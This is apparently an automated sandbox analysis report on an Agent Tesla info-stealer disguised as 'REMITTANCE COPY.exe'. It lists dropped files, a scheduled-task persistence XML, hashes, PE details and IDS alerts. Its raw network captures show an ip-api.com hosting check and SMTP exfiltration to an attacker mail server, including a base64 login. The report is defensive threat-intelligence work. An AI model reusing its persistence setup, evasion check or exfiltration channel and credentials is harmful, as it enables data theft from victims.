<StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetwor

C:\Users\user\AppData\Local\Temp\tmpEBC.tmp

Download File

Process:	C:\Users\user\Desktop\REMITTANCE COPY.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1587
Entropy (8bit):	5.1188657750321855
Encrypted:	false
SSDEEP:	24:2di4+S2qhlZ1Muy1my3UnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNttxvn:cgergYrFdOFzOzN33ODOiDdKrsuTzv
MD5:	BF69CCF5A98B2A72CA09573C2366CD1F
SHA1:	4D7B96892029F64A6DB740C311C8FCA514F48B60
SHA-256:	862CFEA2DF1D12F8ECB138001222F7547C1E9CC887981DB4ADD685D293293841
SHA-512:	61FD13BCD3FAD070BBBB096B84BD6F63E74906E31B90F0478DCDC4C5667CA7DCAA048AEFD22B93A0263CFF0CD7FCD3EA1F601C19191808FDCCBA45613DD1906A
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetwor

C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe

Download File

Process:	C:\Users\user\Desktop\REMITTANCE COPY.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1034752
Entropy (8bit):	7.317508099841458
Encrypted:	false
SSDEEP:	12288:RP/xe5TVvwYuP9Ap5Dkq4zxe4wgU8io31Y2/G3O8eqMvS:RPZehyYRkPs4RUo+eqM
MD5:	A33320345206B3021EB274E26392B642
SHA1:	FF70BF20C4AA62F509A336F35273941CDC7A065A
SHA-256:	EB5262F8A8A005E32DE9C99CCC53DBE005836C4A56916CEF8D9D32FF2F87A80C
SHA-512:	27B44D691DE48EA95B5C3722558C193FD373D3556C2B3F713F216BC66792A0E4A9BE5A5CC05ECAAB7BC1BE1313B3E616207C3DCE442995EA4C99E81AE20B9FCE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Y."f..............0.................. ........@.. ....................... ............@.................................v...O.......................................T............................................ ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........N...W..........T...`...........................................^..}.....(.......(.....&..(........0..+.........,..{.......+....,...{....o........( ......0..=.........s!...}.....s"...}.....s#...}.....($.....{........s%...o&.....{.....s'...o(.....{.....o).....{....r...po.....{.... o....<s+...o,.....{.....o-.....{....r...po......{.... -....js%...o&.....{....r:..po*.....{.....K..s+...o,.....{.....o-.....{....rD..po......{.....o/.....{...........s0...o1.....{.....o2..

C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\REMITTANCE COPY.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.317508099841458
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	REMITTANCE COPY.exe
File size:	1'034'752 bytes
MD5:	a33320345206b3021eb274e26392b642
SHA1:	ff70bf20c4aa62f509a336f35273941cdc7a065a
SHA256:	eb5262f8a8a005e32de9c99ccc53dbe005836c4a56916cef8d9d32ff2f87a80c
SHA512:	27b44d691de48ea95b5c3722558c193fd373d3556c2b3f713f216bc66792a0e4a9be5a5cc05ecaab7bc1be1313b3e616207c3dce442995ea4c99e81ae20b9fce
SSDEEP:	12288:RP/xe5TVvwYuP9Ap5Dkq4zxe4wgU8io31Y2/G3O8eqMvS:RPZehyYRkPs4RUo+eqM
TLSH:	7125F23D1CBD2A3B9176D2AACFE98467F440D07B3A116D7A94D383958346A9378C313E
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Y."f..............0.................. ........@.. ....................... ............@................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x4fdeca
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66221059 [Fri Apr 19 06:34:01 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xfde76	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xfe000	0x5f0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x100000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xfc1b4	0x54	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xfbed0	0xfc000	e81d8824f698ab5a18b40a97b2e87c8a	False	0.7940470377604166	data	7.3230788156481825	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xfe000	0x5f0	0x600	b1f8853e271222538589f170ad59096a	False	0.439453125	data	4.185028299892696	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x100000	0xc	0x200	c5d1fbdc47df8e6fa1575471b166ff68	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xfe090	0x360	data			0.4363425925925926
RT_MANIFEST	0xfe400	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/19/24-15:37:03.080820	TCP	2855542	ETPRO TROJAN Agent Tesla CnC Exfil Activity	49705	587	192.168.2.5	135.181.124.14
04/19/24-15:37:03.080820	TCP	2855245	ETPRO TROJAN Agent Tesla Exfil via SMTP	49705	587	192.168.2.5	135.181.124.14
04/19/24-15:37:03.080820	TCP	2840032	ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	49705	587	192.168.2.5	135.181.124.14
04/19/24-15:37:06.758919	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	49707	587	192.168.2.5	135.181.124.14
04/19/24-15:37:06.758919	TCP	2839723	ETPRO TROJAN Win32/Agent Tesla SMTP Activity	49707	587	192.168.2.5	135.181.124.14
04/19/24-15:37:06.759029	TCP	2851779	ETPRO TROJAN Agent Tesla Telegram Exfil	49707	587	192.168.2.5	135.181.124.14
04/19/24-15:37:03.080820	TCP	2839723	ETPRO TROJAN Win32/Agent Tesla SMTP Activity	49705	587	192.168.2.5	135.181.124.14
04/19/24-15:37:03.080820	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	49705	587	192.168.2.5	135.181.124.14
04/19/24-15:37:06.759029	TCP	2855542	ETPRO TROJAN Agent Tesla CnC Exfil Activity	49707	587	192.168.2.5	135.181.124.14
04/19/24-15:37:06.759029	TCP	2855245	ETPRO TROJAN Agent Tesla Exfil via SMTP	49707	587	192.168.2.5	135.181.124.14
04/19/24-15:37:06.759029	TCP	2840032	ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	49707	587	192.168.2.5	135.181.124.14
04/19/24-15:37:03.080820	TCP	2851779	ETPRO TROJAN Agent Tesla Telegram Exfil	49705	587	192.168.2.5	135.181.124.14

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 19, 2024 15:36:53.750207901 CEST	49674	443	192.168.2.5	23.1.237.91
Apr 19, 2024 15:36:53.750211000 CEST	49675	443	192.168.2.5	23.1.237.91
Apr 19, 2024 15:36:53.844011068 CEST	49673	443	192.168.2.5	23.1.237.91
Apr 19, 2024 15:36:59.873749971 CEST	49704	80	192.168.2.5	208.95.112.1
Apr 19, 2024 15:36:59.990077019 CEST	80	49704	208.95.112.1	192.168.2.5
Apr 19, 2024 15:36:59.990191936 CEST	49704	80	192.168.2.5	208.95.112.1
Apr 19, 2024 15:37:00.002115011 CEST	49704	80	192.168.2.5	208.95.112.1
Apr 19, 2024 15:37:00.119029045 CEST	80	49704	208.95.112.1	192.168.2.5
Apr 19, 2024 15:37:00.172079086 CEST	49704	80	192.168.2.5	208.95.112.1
Apr 19, 2024 15:37:01.300911903 CEST	49705	587	192.168.2.5	135.181.124.14
Apr 19, 2024 15:37:01.515311003 CEST	587	49705	135.181.124.14	192.168.2.5
Apr 19, 2024 15:37:01.515521049 CEST	49705	587	192.168.2.5	135.181.124.14
Apr 19, 2024 15:37:01.759924889 CEST	587	49705	135.181.124.14	192.168.2.5
Apr 19, 2024 15:37:01.760236979 CEST	49705	587	192.168.2.5	135.181.124.14
Apr 19, 2024 15:37:01.992990017 CEST	587	49705	135.181.124.14	192.168.2.5
Apr 19, 2024 15:37:01.994138956 CEST	49705	587	192.168.2.5	135.181.124.14
Apr 19, 2024 15:37:02.208657980 CEST	587	49705	135.181.124.14	192.168.2.5
Apr 19, 2024 15:37:02.209110975 CEST	49705	587	192.168.2.5	135.181.124.14
Apr 19, 2024 15:37:02.429721117 CEST	587	49705	135.181.124.14	192.168.2.5
Apr 19, 2024 15:37:02.430109024 CEST	49705	587	192.168.2.5	135.181.124.14
Apr 19, 2024 15:37:02.644608021 CEST	587	49705	135.181.124.14	192.168.2.5
Apr 19, 2024 15:37:02.647412062 CEST	49705	587	192.168.2.5	135.181.124.14
Apr 19, 2024 15:37:02.864917994 CEST	587	49705	135.181.124.14	192.168.2.5
Apr 19, 2024 15:37:02.865119934 CEST	49705	587	192.168.2.5	135.181.124.14
Apr 19, 2024 15:37:03.079758883 CEST	587	49705	135.181.124.14	192.168.2.5
Apr 19, 2024 15:37:03.079809904 CEST	587	49705	135.181.124.14	192.168.2.5
Apr 19, 2024 15:37:03.080820084 CEST	49705	587	192.168.2.5	135.181.124.14
Apr 19, 2024 15:37:03.080820084 CEST	49705	587	192.168.2.5	135.181.124.14
Apr 19, 2024 15:37:03.080820084 CEST	49705	587	192.168.2.5	135.181.124.14
Apr 19, 2024 15:37:03.080820084 CEST	49705	587	192.168.2.5	135.181.124.14
Apr 19, 2024 15:37:03.295521975 CEST	587	49705	135.181.124.14	192.168.2.5
Apr 19, 2024 15:37:03.295566082 CEST	587	49705	135.181.124.14	192.168.2.5
Apr 19, 2024 15:37:03.297044992 CEST	587	49705	135.181.124.14	192.168.2.5
Apr 19, 2024 15:37:03.375283957 CEST	49674	443	192.168.2.5	23.1.237.91
Apr 19, 2024 15:37:03.515805006 CEST	49675	443	192.168.2.5	23.1.237.91
Apr 19, 2024 15:37:03.515836000 CEST	49673	443	192.168.2.5	23.1.237.91
Apr 19, 2024 15:37:03.515852928 CEST	49705	587	192.168.2.5	135.181.124.14
Apr 19, 2024 15:37:03.673706055 CEST	49706	80	192.168.2.5	208.95.112.1
Apr 19, 2024 15:37:03.791265965 CEST	80	49706	208.95.112.1	192.168.2.5
Apr 19, 2024 15:37:03.791369915 CEST	49706	80	192.168.2.5	208.95.112.1
Apr 19, 2024 15:37:03.791930914 CEST	49706	80	192.168.2.5	208.95.112.1
Apr 19, 2024 15:37:03.909940958 CEST	80	49706	208.95.112.1	192.168.2.5
Apr 19, 2024 15:37:04.015778065 CEST	49706	80	192.168.2.5	208.95.112.1
Apr 19, 2024 15:37:04.594326019 CEST	49705	587	192.168.2.5	135.181.124.14
Apr 19, 2024 15:37:04.595159054 CEST	49704	80	192.168.2.5	208.95.112.1
Apr 19, 2024 15:37:04.816757917 CEST	443	49703	23.1.237.91	192.168.2.5
Apr 19, 2024 15:37:04.816860914 CEST	49703	443	192.168.2.5	23.1.237.91
Apr 19, 2024 15:37:04.880052090 CEST	49707	587	192.168.2.5	135.181.124.14
Apr 19, 2024 15:37:05.110373974 CEST	587	49707	135.181.124.14	192.168.2.5
Apr 19, 2024 15:37:05.110487938 CEST	49707	587	192.168.2.5	135.181.124.14
Apr 19, 2024 15:37:05.360605955 CEST	587	49707	135.181.124.14	192.168.2.5
Apr 19, 2024 15:37:05.360819101 CEST	49707	587	192.168.2.5	135.181.124.14
Apr 19, 2024 15:37:05.594892979 CEST	587	49707	135.181.124.14	192.168.2.5
Apr 19, 2024 15:37:05.595257044 CEST	49707	587	192.168.2.5	135.181.124.14
Apr 19, 2024 15:37:05.825525999 CEST	587	49707	135.181.124.14	192.168.2.5
Apr 19, 2024 15:37:05.825808048 CEST	49707	587	192.168.2.5	135.181.124.14
Apr 19, 2024 15:37:06.060626030 CEST	587	49707	135.181.124.14	192.168.2.5
Apr 19, 2024 15:37:06.060911894 CEST	49707	587	192.168.2.5	135.181.124.14
Apr 19, 2024 15:37:06.291445971 CEST	587	49707	135.181.124.14	192.168.2.5
Apr 19, 2024 15:37:06.291680098 CEST	49707	587	192.168.2.5	135.181.124.14
Apr 19, 2024 15:37:06.525691032 CEST	587	49707	135.181.124.14	192.168.2.5
Apr 19, 2024 15:37:06.527839899 CEST	49707	587	192.168.2.5	135.181.124.14
Apr 19, 2024 15:37:06.758265018 CEST	587	49707	135.181.124.14	192.168.2.5
Apr 19, 2024 15:37:06.758315086 CEST	587	49707	135.181.124.14	192.168.2.5
Apr 19, 2024 15:37:06.758919001 CEST	49707	587	192.168.2.5	135.181.124.14
Apr 19, 2024 15:37:06.759028912 CEST	49707	587	192.168.2.5	135.181.124.14
Apr 19, 2024 15:37:06.759072065 CEST	49707	587	192.168.2.5	135.181.124.14
Apr 19, 2024 15:37:06.759082079 CEST	49707	587	192.168.2.5	135.181.124.14
Apr 19, 2024 15:37:06.989304066 CEST	587	49707	135.181.124.14	192.168.2.5
Apr 19, 2024 15:37:06.989355087 CEST	587	49707	135.181.124.14	192.168.2.5
Apr 19, 2024 15:37:06.990902901 CEST	587	49707	135.181.124.14	192.168.2.5
Apr 19, 2024 15:37:07.031364918 CEST	49707	587	192.168.2.5	135.181.124.14
Apr 19, 2024 15:37:15.058809042 CEST	49703	443	192.168.2.5	23.1.237.91
Apr 19, 2024 15:37:15.058912992 CEST	49703	443	192.168.2.5	23.1.237.91
Apr 19, 2024 15:37:15.059448004 CEST	49713	443	192.168.2.5	23.1.237.91
Apr 19, 2024 15:37:15.059480906 CEST	443	49713	23.1.237.91	192.168.2.5
Apr 19, 2024 15:37:15.059696913 CEST	49713	443	192.168.2.5	23.1.237.91
Apr 19, 2024 15:37:15.059993982 CEST	49713	443	192.168.2.5	23.1.237.91
Apr 19, 2024 15:37:15.060008049 CEST	443	49713	23.1.237.91	192.168.2.5
Apr 19, 2024 15:37:15.210827112 CEST	443	49703	23.1.237.91	192.168.2.5
Apr 19, 2024 15:37:15.211078882 CEST	443	49703	23.1.237.91	192.168.2.5
Apr 19, 2024 15:37:15.383584976 CEST	443	49713	23.1.237.91	192.168.2.5
Apr 19, 2024 15:37:15.383686066 CEST	49713	443	192.168.2.5	23.1.237.91
Apr 19, 2024 15:37:34.524358034 CEST	443	49713	23.1.237.91	192.168.2.5
Apr 19, 2024 15:37:34.524435997 CEST	49713	443	192.168.2.5	23.1.237.91
Apr 19, 2024 15:37:48.369088888 CEST	80	49706	208.95.112.1	192.168.2.5
Apr 19, 2024 15:37:48.369328976 CEST	49706	80	192.168.2.5	208.95.112.1
Apr 19, 2024 15:37:54.890860081 CEST	49706	80	192.168.2.5	208.95.112.1
Apr 19, 2024 15:37:55.008399963 CEST	80	49706	208.95.112.1	192.168.2.5
Apr 19, 2024 15:38:44.906992912 CEST	49707	587	192.168.2.5	135.181.124.14
Apr 19, 2024 15:38:45.218017101 CEST	49707	587	192.168.2.5	135.181.124.14
Apr 19, 2024 15:38:45.530556917 CEST	49707	587	192.168.2.5	135.181.124.14
Apr 19, 2024 15:38:46.139906883 CEST	49707	587	192.168.2.5	135.181.124.14
Apr 19, 2024 15:38:47.343096018 CEST	49707	587	192.168.2.5	135.181.124.14
Apr 19, 2024 15:38:49.749281883 CEST	49707	587	192.168.2.5	135.181.124.14
Apr 19, 2024 15:38:54.561737061 CEST	49707	587	192.168.2.5	135.181.124.14

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 19, 2024 15:36:59.751559019 CEST	61452	53	192.168.2.5	1.1.1.1
Apr 19, 2024 15:36:59.856821060 CEST	53	61452	1.1.1.1	192.168.2.5
Apr 19, 2024 15:37:01.169792891 CEST	62859	53	192.168.2.5	1.1.1.1
Apr 19, 2024 15:37:01.298609018 CEST	53	62859	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 19, 2024 15:36:59.751559019 CEST	192.168.2.5	1.1.1.1	0x39ea	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 15:37:01.169792891 CEST	192.168.2.5	1.1.1.1	0x15c8	Standard query (0)	mail.tabcoeng.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 19, 2024 15:36:59.856821060 CEST	1.1.1.1	192.168.2.5	0x39ea	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Apr 19, 2024 15:37:01.298609018 CEST	1.1.1.1	192.168.2.5	0x15c8	No error (0)	mail.tabcoeng.com		135.181.124.14	A (IP address)	IN (0x0001)	false
Apr 19, 2024 15:37:14.768645048 CEST	1.1.1.1	192.168.2.5	0x842b	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 19, 2024 15:37:14.768645048 CEST	1.1.1.1	192.168.2.5	0x842b	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Apr 19, 2024 15:37:14.802597046 CEST	1.1.1.1	192.168.2.5	0xa7e5	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Apr 19, 2024 15:37:14.802597046 CEST	1.1.1.1	192.168.2.5	0xa7e5	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Apr 19, 2024 15:37:28.011826992 CEST	1.1.1.1	192.168.2.5	0x21cf	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Apr 19, 2024 15:37:28.011826992 CEST	1.1.1.1	192.168.2.5	0x21cf	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Apr 19, 2024 15:38:16.103334904 CEST	1.1.1.1	192.168.2.5	0xc737	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Apr 19, 2024 15:38:16.103334904 CEST	1.1.1.1	192.168.2.5	0xc737	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	208.95.112.1	80	3040	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 15:37:00.002115011 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Apr 19, 2024 15:37:00.119029045 CEST	174	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 13:36:59 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 5 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 74 72 75 65 0a Data Ascii: true

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49706	208.95.112.1	80	736	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 15:37:03.791930914 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Apr 19, 2024 15:37:03.909940958 CEST	174	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 13:37:02 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 5 Access-Control-Allow-Origin: * X-Ttl: 56 X-Rl: 43 Data Raw: 74 72 75 65 0a Data Ascii: true

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Apr 19, 2024 15:37:01.759924889 CEST	587	49705	135.181.124.14	192.168.2.5	220 14.tabcoeng.com ESMTP Exim 4.96-58-g4e9ed49f8 Fri, 19 Apr 2024 09:36:58 -0400
Apr 19, 2024 15:37:01.760236979 CEST	49705	587	192.168.2.5	135.181.124.14	EHLO 965969
Apr 19, 2024 15:37:01.992990017 CEST	587	49705	135.181.124.14	192.168.2.5	250-14.tabcoeng.com Hello 965969 [81.181.57.52] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Apr 19, 2024 15:37:01.994138956 CEST	49705	587	192.168.2.5	135.181.124.14	AUTH login dGFiY29AdGFiY29lbmcuY29t
Apr 19, 2024 15:37:02.208657980 CEST	587	49705	135.181.124.14	192.168.2.5	334 UGFzc3dvcmQ6
Apr 19, 2024 15:37:02.429721117 CEST	587	49705	135.181.124.14	192.168.2.5	235 Authentication succeeded
Apr 19, 2024 15:37:02.430109024 CEST	49705	587	192.168.2.5	135.181.124.14	MAIL FROM:<tabco@tabcoeng.com>
Apr 19, 2024 15:37:02.644608021 CEST	587	49705	135.181.124.14	192.168.2.5	250 OK
Apr 19, 2024 15:37:02.647412062 CEST	49705	587	192.168.2.5	135.181.124.14	RCPT TO:<cash@mpdxb-ae.com>
Apr 19, 2024 15:37:02.864917994 CEST	587	49705	135.181.124.14	192.168.2.5	250 Accepted
Apr 19, 2024 15:37:02.865119934 CEST	49705	587	192.168.2.5	135.181.124.14	DATA
Apr 19, 2024 15:37:03.079809904 CEST	587	49705	135.181.124.14	192.168.2.5	354 Enter message, ending with "." on a line by itself
Apr 19, 2024 15:37:03.080820084 CEST	49705	587	192.168.2.5	135.181.124.14	.
Apr 19, 2024 15:37:03.297044992 CEST	587	49705	135.181.124.14	192.168.2.5	250 OK id=1rxoP7-009jEu-1w
Apr 19, 2024 15:37:05.360605955 CEST	587	49707	135.181.124.14	192.168.2.5	220 14.tabcoeng.com ESMTP Exim 4.96-58-g4e9ed49f8 Fri, 19 Apr 2024 09:37:02 -0400
Apr 19, 2024 15:37:05.360819101 CEST	49707	587	192.168.2.5	135.181.124.14	EHLO 965969
Apr 19, 2024 15:37:05.594892979 CEST	587	49707	135.181.124.14	192.168.2.5	250-14.tabcoeng.com Hello 965969 [81.181.57.52] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Apr 19, 2024 15:37:05.595257044 CEST	49707	587	192.168.2.5	135.181.124.14	AUTH login dGFiY29AdGFiY29lbmcuY29t
Apr 19, 2024 15:37:05.825525999 CEST	587	49707	135.181.124.14	192.168.2.5	334 UGFzc3dvcmQ6
Apr 19, 2024 15:37:06.060626030 CEST	587	49707	135.181.124.14	192.168.2.5	235 Authentication succeeded
Apr 19, 2024 15:37:06.060911894 CEST	49707	587	192.168.2.5	135.181.124.14	MAIL FROM:<tabco@tabcoeng.com>
Apr 19, 2024 15:37:06.291445971 CEST	587	49707	135.181.124.14	192.168.2.5	250 OK
Apr 19, 2024 15:37:06.291680098 CEST	49707	587	192.168.2.5	135.181.124.14	RCPT TO:<cash@mpdxb-ae.com>
Apr 19, 2024 15:37:06.525691032 CEST	587	49707	135.181.124.14	192.168.2.5	250 Accepted
Apr 19, 2024 15:37:06.527839899 CEST	49707	587	192.168.2.5	135.181.124.14	DATA
Apr 19, 2024 15:37:06.758315086 CEST	587	49707	135.181.124.14	192.168.2.5	354 Enter message, ending with "." on a line by itself
Apr 19, 2024 15:37:06.759082079 CEST	49707	587	192.168.2.5	135.181.124.14	.
Apr 19, 2024 15:37:06.990902901 CEST	587	49707	135.181.124.14	192.168.2.5	250 OK id=1rxoPB-009jF1-0t
